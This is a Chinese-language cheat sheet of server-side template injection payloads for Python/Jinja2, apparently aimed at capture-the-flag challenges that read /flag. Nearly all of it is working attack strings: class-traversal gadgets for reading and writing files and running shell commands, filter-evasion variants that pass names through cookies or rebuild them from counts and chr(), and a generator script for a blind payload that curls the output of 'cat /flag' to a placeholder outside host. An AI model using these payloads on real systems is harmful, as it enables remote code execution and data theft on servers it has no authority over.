SSTI 命令执行的一些总结
关于SSTI百度上面有很多解释的,我就不用去copy了,主要就是那几个函数的使用
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
我就总结一下payload
的形式
1.name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
2.?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
这两个都能执行cat /flag
又可以拓展为
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
如果get被过滤了__builtins__
、__import__('os').popen('cat /flag').read()
之类的还可以把他们放在cookie里 用cooikies里面传值
?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
如果过滤了.__init__.__globals__.__getitem__
这些也可以一起弄成变量传cookie
比如
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
终极代码
?name= {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%}
?name= {% set c=(dict(e=a)|join|count)%} {% set cc=(dict(ee=a)|join|count)%} {% set ccc=(dict(eee=a)|join|count)%} {% set cccc=(dict(eeee=a)|join|count)%} {% set ccccccc=(dict(eeeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%} {% set coun=(cc~cccc)|int%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%} {%print(x.open(file).read())%}
如果过滤了print
?name= {% set c=(t|count)%} {% set cc=(dict(e=a)|join|count)%} {% set ccc=(dict(ee=a)|join|count)%} {% set cccc=(dict(eee=a)|join|count)%} {% set ccccc=(dict(eeee=a)|join|count)%} {% set cccccc=(dict(eeeee=a)|join|count)%} {% set ccccccc=(dict(eeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%} {% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%} {% set coun=(ccc~ccccc)|int%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd= %} {%if x.eval(cmd)%} abc {%endif%}
cmd由下面代码生成
def aaa(t): t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int' return t s='__import__("os").popen("curl http://xxx:4567?p=
cat /flag").read()' def ccchr(s): t='' for i in range(len(s)): if i<len(s)-1: t+='chr('+aaa(str(ord(s[i])))+')%2b' else: t+='chr('+aaa(str(ord(s[i])))+')' return t print(ccchr(s))